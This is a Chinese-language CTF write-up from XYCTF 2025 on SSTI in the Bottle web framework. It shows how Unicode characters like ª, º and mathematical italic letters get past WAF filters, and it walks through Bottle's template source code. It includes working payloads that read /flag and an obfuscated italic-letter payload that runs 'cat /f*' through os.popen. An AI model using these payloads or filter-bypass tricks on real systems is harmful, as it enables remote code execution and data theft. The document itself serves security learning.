show xyctf2025遇到了这个知识点
环境如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import bottle@bottle.route('/' ) def index (): return 'Hello, World!' @bottle.route('/attack' ) def attack (): payload = bottle.request.query.get('payload' ) print (payload) try : return bottle.template('hello ' +payload) except : bottle.abort(400 , 'Invalid payload' ) if __name__ == '__main__' : bottle.run(host='0.0.0.0' , port=5000 )
目前发现的POC只能替换俩字符,分别是o
,a
,在bottle的SSTI里,他们可以被直接替换成ª
(U+00AA),º
(U+00BA)进而绕过各种waf。
这里给出unicode字符表的网址:https://symbl.cc/cn/unicode-table/#latin-1-supplement
ª
的url编码是%C2%AA
,若我们直接传入http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-1)}}
,服务端回显如下:
1 2 {{ªbs(-1)}} 127.0.0.1 - - [08/Apr/2025 16:27:04] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752
那么我们去掉%C2
,发现页面正常回显hello 1
1 2 127.0.0.1 - - [08/Apr/2025 16:28:01] "GET /attack?payload={{%AAbs(-1)}} HTTP/1.1" 200 7 {{ªbs(-1)}}
然后我们试试阳性序数指示符º
。url编码是%C2%BA
。若我们直接传入http://192.168.79.128:5000/attack?payload={{%C2%BApen(%27/flag%27).read()}}
,客户端报错,服务端回显如下:
1 2 {{ºpen('/flag').read()}} 192.168.79.1 - - [08/Apr/2025 16:40:48] "GET /attack?payload={{%C2%BApen(%27/flag%27).read()}} HTTP/1.1" 400 768
去掉%C2
,发现ok啦。http://192.168.79.128:5000/attack?payload={{%BApen(%27/flag%27).read()}}
1 2 {{ºpen('/flag').read()}} 192.168.79.1 - - [08/Apr/2025 16:42:17] "GET /attack?payload={{%BApen(%27/flag%27).read()}} HTTP/1.1" 200 30
原理 我们深入代码看看,个人认为bottle源码看着还是很舒服的,因为只有一个文件。
我们跟进bottle.template()
看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def template (*args, **kwargs ): """ Get a rendered template as a string iterator. You can use a name, a filename or a template string as first parameter. Template rendering arguments can be passed as dictionaries or directly (as keyword arguments). """ tpl = args[0 ] if args else None for dictarg in args[1 :]: kwargs.update(dictarg) adapter = kwargs.pop('template_adapter' , SimpleTemplate) lookup = kwargs.pop('template_lookup' , TEMPLATE_PATH) tplid = (id (lookup), tpl) if tplid not in TEMPLATES or DEBUG: settings = kwargs.pop('template_settings' , {}) if isinstance (tpl, adapter): TEMPLATES[tplid] = tpl if settings: TEMPLATES[tplid].prepare(**settings) elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl: TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings) else : TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings) if not TEMPLATES[tplid]: abort(500 , 'Template (%s) not found' % tpl) return TEMPLATES[tplid].render(kwargs)
这里主要就是指定模板引擎和模板文件的搜索路径。还有下面的模板缓存机制:
缓存逻辑 :如果模板未缓存或处于调试模式(DEBUG=True
),则重新加载模板。
直接使用模板对象 :如果 tpl
已经是适配器实例,直接缓存。
模板字符串 :如果包含换行符或模板语法符号({
, %
, $
),视为模板字符串。
模板文件 :否则视为文件名,从 lookup
路径加载。
识别出模板标识符后将其视为模板字符串,再交给adapter
,也就是SimpleTemplate
。使用render()
作为入口函数。
1 2 3 4 5 6 7 8 9 def render (self, *args, **kwargs ): """ Render the template using keyword arguments as local variables. """ env = {} stdout = [] for dictarg in args: env.update(dictarg) env.update(kwargs) self .execute(stdout, env) return '' .join(stdout)
用 env.update()
把所有位置参数(*args
)合并进 env
中;把关键字参数(**kwargs
)也加入到 env
中;最后调用当前类的execute
方法。我们跟进看看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def execute (self, _stdout, kwargs ): env = self .defaults.copy() env.update(kwargs) env.update({ '_stdout' : _stdout, '_printlist' : _stdout.extend, 'include' : functools.partial(self ._include, env), 'rebase' : functools.partial(self ._rebase, env), '_rebase' : None , '_str' : self ._str , '_escape' : self ._escape, 'get' : env.get, 'setdefault' : env.setdefault, 'defined' : env.__contains__ }) exec (self .co, env) if env.get('_rebase' ): subtpl, rargs = env.pop('_rebase' ) rargs['base' ] = '' .join(_stdout) del _stdout[:] return self ._include(env, subtpl, **rargs) return env
可以看到在exec的全局变量里定义了一个_escape
和_printlist
函数。
模板代码的执行其实就是在 exec(self.co, env)
,我们跟进看看self.co
(即要执行的代码)。
1 2 3 @cached_property def co (self ): return compile (self .code, self .filename or '<string>' , 'exec' )
这个@cached_property
可以理解为是一个优化机制,用来避免重复计算。
进行了一次compile(编译),我们直接跟进self.code
1 2 3 4 5 6 7 8 9 10 11 12 13 def code (self ): source = self .source if not source: with open (self .filename, 'rb' ) as f: source = f.read() try : source, encoding = touni(source), 'utf8' except UnicodeError: raise depr(0 , 11 , 'Unsupported template encodings.' , 'Use utf-8 for templates.' ) parser = StplParser(source, encoding=encoding, syntax=self .syntax) code = parser.translate() self .encoding = parser.encoding return code
我们在try里面,touni的下方加一个print(source)
当我们传入以下参数的时候,我们看看服务端print
1 http://127.0.0.1:5000/attack?payload={{hello%20world}}
发现这里的source其实就是我们传入的参数。
跟进touni看看:
1 2 3 4 def touni (s, enc='utf8' , err='strict' ): if isinstance (s, bytes ): return s.decode(enc, err) return unicode("" if s is None else s)
如果是字节类型的,decode后return,否则return一个unicode("" if s is None else s)
,然后我们看看unicode的定义:
unicode是一个str类,全体str!
然后我们再回到code()
方法
1 2 parser = StplParser(source, encoding=encoding, syntax=self .syntax) code = parser.translate()
跟进一下StplParser
的translete
方法。StplParser
类是用来解析和转换某种模板或源代码的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 def translate (self ): if self .offset: raise RuntimeError('Parser is a one time instance.' ) while True : m = self .re_split.search(self .source, pos=self .offset) if m: text = self .source[self .offset:m.start()] self .text_buffer.append(text) self .offset = m.end() if m.group(1 ): line, sep, _ = self .source[self .offset:].partition('\n' ) self .text_buffer.append(self .source[m.start():m.start(1 )] + m.group(2 ) + line + sep) self .offset += len (line + sep) continue self .flush_text() self .offset += self .read_code(self .source[self .offset:], multiline=bool (m.group(4 ))) else : break self .text_buffer.append(self .source[self .offset:]) self .flush_text() return '' .join(self .code_buffer)
这段代码主要就是将模板/自定义语法转换为可执行代码(如 Python)。
这里我们主要关注的是self.flush_text()
,我们跟进一下。
flush_text()
: 将 text_buffer
中的普通文本转换为目标代码(如 Python 的 print()
语句)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 def flush_text (self ): text = '' .join(self .text_buffer) del self .text_buffer[:] if not text: return parts, pos, nl = [], 0 , '\\\n' + ' ' * self .indent for m in self .re_inl.finditer(text): prefix, pos = text[pos:m.start()], m.end() if prefix: parts.append(nl.join(map (repr , prefix.splitlines(True )))) if prefix.endswith('\n' ): parts[-1 ] += nl parts.append(self .process_inline(m.group(1 ).strip())) if pos < len (text): prefix = text[pos:] lines = prefix.splitlines(True ) if lines[-1 ].endswith('\\\\\n' ): lines[-1 ] = lines[-1 ][:-3 ] elif lines[-1 ].endswith('\\\\\r\n' ): lines[-1 ] = lines[-1 ][:-4 ] parts.append(nl.join(map (repr , lines))) code = '_printlist((%s,))' % ', ' .join(parts) self .lineno += code.count('\n' ) + 1 self .write_code(code)
这里我们在code下方加一个print(code)
我们访问http://127.0.0.1:5000/attack?payload=hello{{hello%20world}}
,服务端回显如下:
1 2 hello{{hello world}} _printlist(('hello hello', _escape(hello world),))
这个_printlist就是在exec执行的全局空间里的打印函数。
1 2 3 4 5 6 7 8 9 10 11 12 env.update({ '_stdout' : _stdout, '_printlist' : _stdout.extend, 'include' : functools.partial(self ._include, env), 'rebase' : functools.partial(self ._rebase, env), '_rebase' : None , '_str' : self ._str , '_escape' : self ._escape, 'get' : env.get, 'setdefault' : env.setdefault, 'defined' : env.__contains__ })
然后我们接着看flush_text
,其中有
1 parts.append(self.process_inline(m.group(1).strip()))
每一行模板都会经过它,self.process_inline(m.group(1).strip())
,我们跟进一下。
1 2 3 def process_inline (chunk ): if chunk[0 ] == '!' : return '_str(%s)' % chunk[1 :] return '_escape(%s)' % chunk
这里我们发现了与转码有关的_escape
函数,我们接下来跟进一下 self._escape
,发现他在prepare中被定义。
1 2 3 4 5 6 7 8 9 10 11 12 class SimpleTemplate (BaseTemplate ): def prepare (self, escape_func=html_escape, noescape=False , syntax=None , **ka ): self .cache = {} enc = self .encoding self ._str = lambda x: touni(x, enc) self ._escape = lambda x: escape_func(touni(x, enc)) self .syntax = syntax if noescape: self ._str , self ._escape = self ._escape, self ._str
还记得每一次进入SimpleTemplate都有一次初始化吗,就是prepare
函数这些。
1 self._escape = lambda x: escape_func(touni(x, enc))
我们跟进一下escape_func
,发现
再跟进一下html_escape
1 2 3 4 def html_escape (string ): """ Escape HTML special characters ``&<>`` and quotes ``'"``. """ return string.replace('&' , '&' ).replace('<' , '<' ).replace('>' , '>' )\ .replace('"' , '"' ).replace("'" , ''' )
就是一个防止XSS的HTML编码函数。
至此我们得出结论:我们的输入,不论在不在{{}}
里,经过唯一的编码检查就是对source的touni()
,但是由于全局变量中的unicode在python3下是全体str,这就导致了我们可以输入斜体字符
这里给出一个斜体字符生成器:https://exotictext.com/zh-cn/italic/
这里3.12.2及其之前的python版本如果执行上述命令会报错!
最后的代码由python的exec()
来执行
假如直接exec()
任意code的话,python会把code中当作代码处理的斜体字根据Decomposition
转成对应的ASCII字符(当作字符串处理的除外,如此例中,假如whoami或os为斜体,则会无法执行,因为找不到斜体的os库,和斜体的whoami命令),这里os
和whoami
是当作字符串处理的!
看到这里,我想起之前ctf一道ssti的题也考到了这种斜体的方法,这里给出一个payload:
1 𝒈𝒆𝒕𝒂𝒕𝒕𝒓(𝒈𝒆𝒕𝒂𝒕𝒕𝒓(__𝒊𝒎𝒑𝒐𝒓𝒕__(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[111, 115]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[112,111,112,101,110])))(𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[99,97,116,32,47,102,42]))),𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒈𝒆𝒕𝒂𝒕𝒕𝒓('',𝒎𝒂𝒙(𝒅𝒊𝒄𝒕(𝒋𝒐𝒊𝒏=())))(𝒎𝒂𝒑(𝒄𝒉𝒓,[106,111,105,110])))(𝒎𝒂𝒑(𝒄𝒉𝒓,[114,101,97,100])))()
他这个其实是等价于__import__('os').popen('cat /f*').read()
接下来再说说为什么只有两个字符ª
(U+00AA),º
(U+00BA)成功了:
1 2 {{ªbs(-1)}} 127.0.0.1 - - [08/Apr/2025 19:06:12] "GET /attack?payload={{%C2%AAbs(-1)}} HTTP/1.1" 400 752
这些特殊字符经过URL编码之后一个字符都必须以两个编码值表示。但是bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,那么bottle解析的就是%C2
,只要删除掉%C2
就能将字符传入后端!
我们再看看其他的有没有可利用的!
1 2 {{ªbs(-¹)}} http://127.0.0.1:5000/attack?payload={{%C2%AAbs(-%C2%B9)}}
若把前面的%C2
删除,我们传入如下的参数
1 http://127.0.0.1:5000/attack?payload={{%AAbs(%B9)}}
服务端回显如下:
1 2 {{ªbs(¹)}} 127.0.0.1 - - [08/Apr/2025 19:12:10] "GET /attack?payload={{%AAbs(%B9)}} HTTP/1.1" 400 750
那就是不行喽!
其中只有ª
(U+00AA),º
(U+00BA),¹
(U+00B9),²
(U+00B2),³
(U+00B3)有用,其中¹
(U+00B9),²
(U+00B2),³
(U+00B3)在exec()
时不会被python正确解析。而ª
(U+00AA),º
(U+00BA)执行的时候等效于字符a
,o
,别的字符RCE根本用不上。
这里稍微总结一下,如果我们是从前端传入的,那么一定会经过url编码,举个例子:
我们传入的是{{𝒶𝒷𝓈(1)}}
,但是后端无法将其解析,前端页面会报错400。
1 2 127.0.0.1 - - [08/Apr/2025 19:15:16] "GET /attack?payload={{%F0%9D%92%B6%F0%9D%92%B7%F0%9D%93%88(1)}} HTTP/1.1" 400 779 {{ð¶ð·ð(1)}}
但是如果我们直接在后端传入𝒶𝒷𝓈(1)
,将以下语句直接加入代码中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import bottle@bottle.route('/' ) def index (): return 'Hello, World!' @bottle.route('/attack' ) def attack (): return bottle.template('{{𝒶𝒷𝓈(-2)}}' ) if __name__ == '__main__' : bottle.run(host='0.0.0.0' , port=5000 )
我们访问时前端正常回显!
再看看ª
(U+00AA),º
(U+00BA),如果我们前端传入,他会以两个编码值表示,而bottle在解析编码值的时候是按照一个编码值对应一个字符进行解析的,所以如果我们直接传入ª
(U+00AA)或者º
(U+00BA),那么必然也是会报错的,因此在前端传入时需要将前面的%C2
删除后再传入!
那么如果直接从后端传入呢?看看效果
1 2 3 4 5 6 7 8 9 10 import bottle@bottle.route('/' ) def index (): return 'Hello, World!' @bottle.route('/attack' ) def attack (): return bottle.template('{{ªbs(-1)}}' ) if __name__ == '__main__' : bottle.run(host='0.0.0.0' , port=5000 )
因此我们所有的问题都聚焦在如何将斜体字符传入template中。
get(post)传参特殊字符必须进行URL编码的原因,因此我们是无法传入这种斜体字符的。但是假设靶机提供了一种可以不使用URL编码的方式将可控输入传入template(如:上传文件,再渲染文件中的内容形成的SSTI)那就意味着所有的字符可以全部用各种斜体替换(是的,一个ASCII的斜体字符至少4种),那就真的超模了。
对于任意ASCII字母都至少可以在https://exotictext.com/zh-cn/italic/上找到四种对应的斜体。在python中都可以直接当成ASCII正常执行。假设我们能把这些东西传到后端,不会触发针对该字符的waf,bottle渲染完成后就会直接进入exec,可以正常RCE。
参考文章:
拉蒙特徐宝子
https://www.cnblogs.com/LAMENTXU/articles/18805019